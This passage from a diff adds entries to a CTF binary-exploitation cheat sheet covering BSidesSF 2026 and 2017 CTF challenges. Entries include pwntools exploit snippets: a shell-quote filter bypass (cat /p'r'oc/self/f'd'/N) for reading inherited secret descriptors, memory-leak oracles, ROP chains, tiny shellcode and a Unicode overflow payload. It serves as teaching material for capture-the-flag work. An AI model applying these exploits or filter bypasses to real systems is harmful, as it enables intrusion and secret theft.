+ lines[3] = str(len(block_lines))
392
+ level_data = "\n".join(lines + block_lines)
393
+ encoded = base64.b64encode(zlib.compress(level_data.encode())).decode()
394
+ ```
395
+
396
+ **Key insight:** Game level formats that accept coordinates as signed integers but use unsigned comparisons for bounds checking create a classic signed/unsigned confusion vulnerability. The negative coordinate underflows the array index, providing an arbitrary write primitive. Combined with a leaked stack address (from debug/developer features), this turns into reliable code execution.
397
+
398
+ **When to recognize:** Custom game/level editors with user-defined coordinates, tile-map formats, or any array-indexed data where coordinates are parsed as signed but compared as unsigned. Developer/debug modes that leak memory addresses are a strong hint.
399
+
400
+ **References:** BSidesSF 2026 "blockman-builder"
401
+
402
+ ---
403
+
404
+ ## File Descriptor Inheritance via Missing O_CLOEXEC (BSidesSF 2026)
405
+
406
+ **Pattern (inheritance):** A service reads a secret into a file descriptor created with `memfd_create("secret", 0)` (without `MFD_CLOEXEC`), then calls `system()` to execute user-supplied commands. The `system()` function spawns a child process via `fork()+exec()`, and the child inherits all open file descriptors that lack the `O_CLOEXEC` flag.
407
+
408
+ The service blocks certain strings ("proc", "fd", ">", "<") to prevent reading `/proc/self/fd/N`. Bypass using shell quote insertion: `cat /p'r'oc/self/f'd'/4` — the single quotes are transparent to bash but break C-level `strstr()` checks.
409
+
410
+ ```python
411
+ from pwn import *
412
+
413
+ r = remote("target", 1337)
414
+
415
+ # Service prints "Loaded config into fd 4" or similar
416
+ r.recvuntil(b"fd ")
417
+ fd_num = int(r.recvline().strip())
418
+
419
+ # Bypass strstr() filter with shell quote breaking
420
+ # "proc" and "fd" are blocked, but p'r'oc and f'd' are not
421
+ payload = f"cat /p'r'oc/self/f'd'/{fd_num}"
422
+ r.sendline(payload.encode())
423
+ flag = r.recvall()
424
+ print(flag.decode())
425
+ ```
426
+
427
+ **Key insight:** `memfd_create()` without `MFD_CLOEXEC` (or `open()` without `O_CLOEXEC`) leaves file descriptors inheritable across `fork()+exec()`. Any service that reads secrets into FDs and then spawns child processes is vulnerable. The `/proc/self/fd/N` path provides access to inherited descriptors. For filter bypass: shell quote splitting (`p'r'oc`) breaks substring matching in C but bash concatenates the fragments transparently.
428
+
429
+ **When to recognize:** Service reads a secret file, then lets you run commands (via `system()`, `popen()`, etc.). Check if the FD was opened with `O_CLOEXEC`. Look for string filters that block keywords — single-quote splitting, backslash escaping (`\p\r\o\c`), or variable expansion (`${PATH:0:1}`) can bypass `strstr()`.
430
+
431
+ **References:** BSidesSF 2026 "inheritance"
432
+
433
+ ---
434
+
435
+ ## Sign Extension Integer Underflow in Metadata Parsing (BSidesSF 2026)
436
+
437
+ **Pattern (if-it-leads):** A music metadata parser has a `to_int32` function that converts unsigned 32-bit values to signed: `n >= 0x80000000 ? n - 0x100000000 : n`. When applied to a size/offset field, a large unsigned value becomes a large negative signed integer, causing out-of-bounds memory access during processing. Byte-by-byte iteration reveals memory contents.
438
+
439
+ ```python
440
+ from pwn import *
441
+ import re
442
+
443
+ flag = b""
444
+ for i in range(64):
445
+ # Construct metadata with field value that causes OOB read at offset i
446
+ target_val = 0x80000000 + i # Becomes negative after to_int32
447
+ payload = craft_metadata(target_val)
448
+
449
+ r = process(["./parser", payload])
450
+ output = r.recvall()
451
+
452
+ # Extract leaked byte from hexdump or error output
453
+ leaked = extract_byte(output)
454
+ flag += bytes([leaked])
455
+ if b"}" in flag:
456
+ break
457
+
458
+ print(flag.decode())
459
+ ```
460
+
461
+ **Key insight:** Custom `to_int32()` or manual sign extension functions are a red flag. The conversion `n >= 0x80000000 ? n - 0x100000000 : n` makes values in `[0x80000000, 0xFFFFFFFF]` negative, but subsequent code may use the result as an array index or memory offset without re-checking bounds. Incrementally varying the input value leaks memory one byte at a time.
462
+
463
+ **When to recognize:** Challenge involves file format parsing (media, archives, protocols) with custom integer conversion. Look for manual sign-extension patterns. The leak is incremental — each query reveals one byte, requiring many iterations.
464
+
465
+ **References:** BSidesSF 2026 "if-it-leads"
466
+
467
+ ---
468
+
469
+ ## ROP Chain Construction with Read-Only Primitive (BSidesSF 2026)
470
+
471
+ **Pattern (readme):** Binary provides only a `read()` primitive (no write, no secret function). Build a ROP chain by:
472
+ 1. Use `read()` to probe the stack and find the buffer-to-return-address offset
473
+ 2. Leak libc base from GOT entries
474
+ 3. Scan libc's `.rodata` and `.text` sections for byte patterns that match needed ROP gadget addresses
475
+ 4. Use `read(0, stack_addr, N)` to place gadget addresses on the stack by reading specific libc offsets that happen to contain the right bytes
476
+ 5. Chain: `open("flag.txt") -> read(fd, buf, size) -> write(1, buf, size)`
477
+
478
+ ```python
479
+ from pwn import *
480
+
481
+ elf = ELF('./readme')
482
+ libc = ELF('./libc.so.6')
483
+
484
+ r = remote("target", 1337)
485
+
486
+ # Step 1: Find offset — fill buffer with pattern, read back from stack
487
+ r.sendline(b"read " + p64(stack_addr))
488
+ leak = r.recvn(8)
489
+ offset = find_pattern_offset(leak)
490
+
491
+ # Step 2: Leak libc base
492
+ r.sendline(b"read " + p64(elf.got['read']))
493
+ libc_read = u64(r.recvn(8))
494
+ libc_base = libc_read - libc.symbols['read']
495
+
496
+ # Step 3: Build ORW ROP chain using libc gadgets
497
+ pop_rdi = libc_base + find_gadget(libc, "pop rdi; ret")
498
+ pop_rsi = libc_base + find_gadget(libc, "pop rsi; ret")
499
+ pop_rdx = libc_base + find_gadget(libc, "pop rdx; ret")
500
+
501
+ rop = flat([
502
+ pop_rdi, 0, # fd = stdin for read
503
+ # ... read flag path onto stack, then open/read/write chain
504
+ ])
505
+ ```
506
+
507
+ **Key insight:** A read-only primitive is sufficient for full exploitation. The key realization: libc contains billions of byte patterns across `.text`, `.rodata`, `.data`, and `.bss` sections. By reading from specific libc offsets, you can "import" arbitrary byte values onto the stack. This eliminates the need for a write primitive — you write to the stack indirectly by reading from addresses whose content matches your desired payload.
508
+
509
+ **When to recognize:** Binary has `read()` but no `write()` or win function. The read primitive lets you both leak values AND place data on the stack. The challenge becomes finding the right source addresses in libc to read from, not constructing gadgets.
510
+
511
+ **References:** BSidesSF 2026 "readme"
512
+
513
+ ---
514
+
515
+ ### 4-Byte Shellcode with Timing Side-Channel via Persistent Registers (Google CTF 2017)
516
+
517
+ **Pattern:** When a binary executes only 4 bytes of user shellcode in a 4096-iteration loop, exploit persistent callee-saved registers (r12-r15) to build complex exploits incrementally.
518
+
519
+ ```python
520
+ from pwn import *
521
+
522
+ # Phase 1: Leak stack address via timing (4096x amplification)
523
+ # add r12, [rsp] — accumulate stack value into r12
524
+ shellcode = asm("add r12, [rsp]") # 4 bytes
525
+ # Timing difference reveals r12 value (large r12 = more loop iterations)
526
+
527
+ # Phase 2: Write shellcode byte-by-byte to BSS
528
+ # mov [r15], r12b — write accumulated byte to target
529
+ shellcode = asm("mov [r15], r12b") # 4 bytes
530
+
531
+ # Phase 3: Stack pivot via 4-byte gadget
532
+ shellcode = asm("push rsp; pop rdi; push r15") # exactly 4 bytes
533
+ ```
534
+
535
+ **Key insight:** Callee-saved registers (r12-r15) persist across the 4096 loop iterations and between separate submissions. The 4096x loop amplifies timing differences enough for reliable side-channel measurement, while iterative register operations build complex state from minimal per-round instructions.
536
+
537
+ **When to recognize:** Challenge provides a very small shellcode window (4-8 bytes) but executes it in a loop or allows multiple submissions. Check whether callee-saved registers are preserved between iterations.
538
+
539
+ **References:** Google CTF 2017
540
+
541
+ ---
542
+
543
+ ### CRC Oracle as Arbitrary Read Primitive (ASIS CTF 2017)
544
+
545
+ **Pattern:** When a service exposes CRC computation on user-controlled data with a pointer overflow, brute-force single-byte CRC results against a 256-entry lookup table to read arbitrary memory.
546
+
547
+ ```python
548
+ from pwn import *
549
+
550
+ CRCLOOKUP = [crc8(bytes([b])) for b in range(256)] # precompute
551
+
552
+ def read_byte(addr):
553
+ payload = b"A" * 100 + p32(addr) # overflow pointer to target address
554
+ crc_result = int(get_crc(1, payload), 16) # CRC of 1 byte at addr
555
+ return CRCLOOKUP.index(crc_result) # reverse lookup
556
+
557
+ def read_dword(addr):
558
+ return sum(read_byte(addr + i) << (i * 8) for i in range(4))
559
+
560
+ # Chain: leak GOT → libc base → __environ → canary → ROP
561
+ got_value = read_dword(elf.got['puts'])
562
+ libc_base = got_value - libc.sym['puts']
563
+ environ = read_dword(libc_base + libc.sym['__environ'])
564
+ canary = read_dword(environ - CANARY_OFFSET)
565
+ ```
566
+
567
+ **Key insight:** A CRC function is a bijection on single bytes — each input byte produces a unique CRC. By overflowing a pointer to control the CRC input address and precomputing all 256 single-byte CRCs, each byte of arbitrary memory is recovered via reverse lookup. Chain multiple reads to leak GOT entries, libc base, stack addresses, and canary values.
568
+
569
+ **When to recognize:** Service computes a checksum or hash on data at a user-influenced address. If the checksum is bijective on single bytes (CRC-8, simple XOR, etc.), it becomes an arbitrary read oracle.
570
+
571
+ **References:** ASIS CTF 2017
572
+
573
+ ---
574
+
575
+ ### UTF-8 Case Conversion Buffer Overflow (HITB CTF 2017)
576
+
577
+ **Pattern:** `g_utf8_strup()` (GLib uppercase conversion) can return more bytes than the input when certain multi-byte UTF-8 characters expand during case conversion.
578
+
579
+ ```python
580
+ from pwn import *
581
+
582
+ # \xd6\x87 is a 2-byte UTF-8 char that becomes 4 bytes when uppercased
583
+ # 68 such characters: 68 * 2 = 136 input bytes → 68 * 4 = 272 output bytes
584
+ # If buffer allocated for input length, output overflows
585
+ payload = b"\xd6\x87" * 68 + b"$0;".ljust(8, b" ") + p32(0x400890)
586
+ ```
587
+
588
+ **Key insight:** Unicode case conversion can change the byte length of characters. Certain UTF-8 sequences (like U+0587, Armenian small ligature) expand from 2 bytes to 4 bytes when uppercased. If a buffer is sized based on the input length, the longer output overflows it. This affects any code using GLib's `g_utf8_strup()`/`g_utf8_strdown()`, ICU's `u_strToUpper()`, or similar Unicode-aware case conversion functions.
589
+
590
+ **When to recognize:** Binary performs Unicode case conversion (upper/lower) on user input before copying to a fixed-size buffer. Look for GLib, ICU, or custom UTF-8 processing functions. The overflow ratio depends on the specific characters used.
591
+
592
+ **References:** HITB CTF 2017
593
+
594
+ ---
595
+
596
+ See [advanced-exploits.md](advanced-exploits.md) for VM signed comparison, BF JIT shellcode, type confusion, off-by-one index corruption, DNS overflow, ASAN shadow memory, format string with encoding constraints, custom canary preservation, signed integer bypass, CSV injection, MD5 preimage gadgets, VM GC UAF slab reuse, path traversal sanitizer bypass, and FSOP + seccomp bypass.
597
+
598
+ See [advanced-exploits-2.md](advanced-exploits-2.md) for bytecode validator bypass, io_uring UAF with SQE injection, integer truncation bypass, GC null-reference cascading corruption, leakless libc via multi-fgets, signed/unsigned char underflow with TLS destructor hijack, custom shadow stack bypass, and signed int overflow with XSS-to-binary pwn bridge.